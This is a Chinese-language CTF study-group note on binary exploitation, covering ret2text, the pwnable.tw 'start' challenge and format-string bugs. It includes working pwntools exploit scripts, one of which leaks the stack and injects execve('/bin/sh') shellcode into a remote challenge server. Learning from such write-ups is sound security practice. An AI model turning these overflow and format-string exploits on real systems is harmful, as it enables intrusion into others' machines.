---
# System prepended metadata

title: NCtfU讀書會筆記-Pwn
tags: [CTF]

---

# NCtfU讀書會筆記-Pwn
###### tags: `CTF`
## 3/9 - Basic
https://drive.google.com/open?id=14VE-uwBXCnAvMhGH7NKVTTPqhTDZLGUM
1. ret2text
- objdump -M intel -d ret2text 看組語 
-> 呼叫了gets,因此有buffer overflow的漏洞
    ![](https://i.imgur.com/nqbkToz.png)
- 往上看還有一個function叫sh,因此目標就是把ret addr改到這裡
    ![](https://i.imgur.com/yFab1YU.png)
- 但要注意system有0x10 alignment的問題
(也就是到call system時如果rsp不是指向0結尾就會無法執行)
(原因是正常來說透過call system(=push rip)跳過來的話,stack會先多了rip,此時再push rbp,總共push了0x10個byte,但現在不是透過call system跳過來的,但還是執行了push rbp,stack變成只會多0x8個byte,變成不是0結尾)
```python=
#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'

r = process('./ret2text')

sh = 0x4006e8

padding = 'a'*18

# 0x10 alignment -> 跳過push rbp的動作
r.sendline(padding + p64(sh+0x1))
#r.sendline(padding + p64(sh) + p64(sh))

r.interactive()
```
2. 小技巧講解:
- 如果執行檔有計時器(ex alarm(3)),可以用把alarm改成isnan(因為字數一樣,參數type跟數量也一樣)
    ```
    vim: %s/alarm/isnan/g - sed-i s/alarm/isnan/g [elf name] - LD_PRELOAD
    # %s :取代/置換功能
    ```
    
## 3/23  
### 1. pwnable.tw[](https://pwnable.tw/challenge/#1) -- start
- 是一個是一個32bit file,沒有開任何保護機制
![](https://i.imgur.com/5J09SvA.png)
- 先執行一次: 可以輸東西,輸太多會segmentation fault,一臉欠buffer overflow
![](https://i.imgur.com/5RK4Lpi.png)


- objdump看一下:
```c=
Disassembly of section .text:

08048060 <_start>:
 8048060:       54                      push   esp
 8048061:       68 9d 80 04 08          push   0x804809d
 8048066:       31 c0                   xor    eax,eax
 8048068:       31 db                   xor    ebx,ebx
 804806a:       31 c9                   xor    ecx,ecx
 804806c:       31 d2                   xor    edx,edx
 804806e:       68 43 54 46 3a          push   0x3a465443  #string of "CTF:"
 8048073:       68 74 68 65 20          push   0x20656874  #string of "the "
 8048078:       68 61 72 74 20          push   0x20747261  #string of "art "
 804807d:       68 73 20 73 74          push   0x74732073  #string of "s st"
 8048082:       68 4c 65 74 27          push   0x2774654c  #string of "Let'"
 8048087:       89 e1                   mov    ecx,esp
 8048089:       b2 14                   mov    dl,0x14
 804808b:       b3 01                   mov    bl,0x1
 804808d:       b0 04                   mov    al,0x4
 804808f:       cd 80                   int    0x80
 8048091:       31 db                   xor    ebx,ebx
 8048093:       b2 3c                   mov    dl,0x3c
 8048095:       b0 03                   mov    al,0x3
 8048097:       cd 80                   int    0x80
 8048099:       83 c4 14                add    esp,0x14
 804809c:       c3                      ret

0804809d <_exit>:
 804809d:       5c                      pop    esp
 804809e:       31 c0                   xor    eax,eax
 80480a0:       40                      inc    eax
 80480a1:       cd 80                   int    0x80
```

:::info
x86 system call的calling convention:
    1. eax放system call number
    2. 參數依序放在以下暫存器: ebx, ecx, edx, esi, edi, ebp
:::


- 執行到第14行時的stack長這樣
![](https://i.imgur.com/FRyokI3.png)


- 第15-19行是呼叫syscall write(eax=0x4)
`Note: write(int fd, const void *buf, size_t count)`
    => sys_write( 0x1, esp, 0x14)
    
- 第20-23行是呼叫syscall read(eax=0x3)
`Note: read(int fd, void *buf, size_t count)`
     => sys_read(0, esp, 0x3c) =>最多可以寫0x3c=60byte
:::info
因此可以知道程式執行流程:
    1. print出在stack上的0x14(20byte)(Let's start the CTF:)
    2. read user輸入(可以overflow)
    3. ret並結束執行
:::

- 所以為了達成overflow,需要放shellcode在stack上,並把ret addr蓋成shellcode位置
    問題是因為題目有開ASLR(大概),stack每次執行位置都不同
    需要leak stack才可以知道ret addr應該改成甚麼
:::success
因此我們要讓執行流程變成這樣:
    1. print出Let's start the CTF:
    2. read(0,esp, 0x3c)
        => payload1 = 20byte junk + 第15行mov ecx, esp的addr=0x8048087
    3. add esp, 0x14 => esp + 0x14指到old_esp
    4. 回到第15行
    5. write(0, esp, 0x14)
        => leak出old_esp
    6. read(0, esp, 0x3c)
        => 輸入20byte junk + (old_esp+0x14) + shellcode
    7. esp' = esp + 0x14
    8. ret = pop eip = old_esp+0x14
    9. 執行shellcode get shell
    ![](https://i.imgur.com/y0JCOzq.png)
:::

- exploit.py
```python=
from pwn import *
context.arch = 'i386'

r = remote("chall.pwnable.tw", 10000)
#r = process("/home/minyeon/CTF/pwnable.tw/start")
#gdb.attach(r)

r.recvuntil(':')

sh = asm(shellcraft.execve('/bin/sh'))
#sh = shellcraft.sh()
#這個會失敗因為太肥,read只讀60byte不夠

payload1 = flat('a'*0x14, 0x8048087)
r.send(payload1)
old_esp = u32(r.recv(4))
print("Leaked esp: ", hex(old_esp))

ret_addr = old_esp + 0x14
print("return address: ", hex(ret_addr))
payload2 = flat('a'*0x14, ret_addr, sh)
print(payload2)
r.send(payload2)

r.interactive()
```

## 5/18 Format string
- 所有printf家族都有這個漏洞(ex. sprintf, snprintf, fprintf,...)
- 發生在把變數直接丟進printf裡面執行,造成任意讀寫漏洞
    ```c=
    Ex. 
        int a, b, c
    1. 正常的printf     
        printf("%p %p %p", &a, &b, &c )
    2. 有漏洞的printf -> 故意不給參數
        printf("%p %p %p")
    ```
    
- Ex.
```c=
#include<stdio.h>

void main(){
        int a, b, c;
        printf("General printf : %p %p %p\n", &a, &b, &c);
        printf("FMT printf :\n\trsi : %p\n\trdx : %p\n\trcx :  %p\n\tr8 : %p\n\tr9 : %p\n\trsp : %p\n\trsp+8 : %p\n");
        printf("8th parameter : %7$p\n");        
        printf("dword of 8th para: %7$x\n"); // %x:4 byte
        printf("word of 8th para: %7$hx\n"); // h : half
        printf("byte of 8th para: %7$hhx\n");

}
```
![](https://i.imgur.com/eZUpAlf.png)

- 練習題: picoCTF echo
    1. 先看assembly, 用fget所以沒有bof漏洞
    ```python=
     80486c9:       68 5f 88 04 08          push   0x804885f  # x/s 0x804885f > 'r'
     80486ce:       68 61 88 04 08          push   0x8048861  # x/s 0x8048861 > 'flag.txt'
     80486d3:       e8 e8 fd ff ff          call   80484c0 <fopen@plt>
     80486d8:       83 c4 10                add    esp,0x10
     80486db:       89 85 70 ff ff ff       mov    DWORD PTR [ebp-0x90], # flag.txt的fd放在ebp-0x90
     80486e1:       83 bd 70 ff ff ff 00    cmp    DWORD PTR [ebp-0x90],0x0
     80486e8:       75 1a                   jne    8048704 <main+0x109>
     80486ea:       83 ec 0c                sub    esp,0xc
     80486ed:       68 6c 88 04 08          push   0x804886c
     80486f2:       e8 89 fd ff ff          call   8048480 <puts@plt>
     80486f7:       83 c4 10                add    esp,0x10
     80486fa:       83 ec 0c                sub    esp,0xc
     80486fd:       6a 00                   push   0x0
     80486ff:       e8 8c fd ff ff          call   8048490 <exit@plt>
     8048704:       83 ec 04                sub    esp,0x4
     8048707:       ff b5 70 ff ff ff       push   DWORD PTR [ebp-0x90]
     804870d:       6a 40                   push   0x40
     804870f:       8d 45 b4                lea    eax,[ebp-0x4c]
     8048712:       50                      push   eax
     8048713:       e8 48 fd ff ff          call   8048460 <fgets@plt> # fget(var_name=ebp-0x4c, size=0x40, fd=ebp-0x90)
     8048718:       83 c4 10                add    esp,0x10
     804871b:       83 ec 0c                sub    esp,0xc
     804871e:       68 e1 88 04 08          push   0x80488e1
     8048723:       e8 28 fd ff ff          call   8048450 <printf@plt>
     8048728:       83 c4 10                add    esp,0x10
     804872b:       a1 40 a0 04 08          mov    eax,ds:0x804a040
     8048730:       83 ec 04                sub    esp,0x4
     8048733:       50                      push   eax
     8048734:       6a 40                   push   0x40
     8048736:       8d 85 74 ff ff ff       lea    eax,[ebp-0x8c]
     804873c:       50                      push   eax
     804873d:       e8 1e fd ff ff          call   8048460 <fgets@plt> # fget(ebp-0x8c, 0x40, stdin)
     8048742:       83 c4 10                add    esp,0x10
     8048745:       83 ec 0c                sub    esp,0xc
     8048748:       8d 85 74 ff ff ff       lea    eax,[ebp-0x8c]
     804874e:       50                      push   eax
     804874f:       e8 fc fc ff ff          call   8048450 <printf@plt> # printf(ebp-0x8c) >> fmt vul!!!!
    ```
    2. 執行看看 >> 真的有fmt漏洞
    ![](https://i.imgur.com/SKbFxu2.png)
    3. 寫個python script來一個一個試
    ```python=
    from pwn import *

    for i in range(10):
        r = remote("2018shell.picoctf.com", 34802)

        r.recvuntil(">")
        r.sendline("%{}$s".format(i))
        s = r.recvline()

        if 'pico' in s: #這邊如果用python3會錯,因為recvline讀出來是byte like object,無法跟str做比較
            print(s)
            break
    ```
    4. 用python2執行
    ![](https://i.imgur.com/wTA10u4.png)
 

- 把可控的memory address放在開頭就可以對任何可控位置做任意讀寫
```c=
printf("/x78/x56/x34/x12")
```






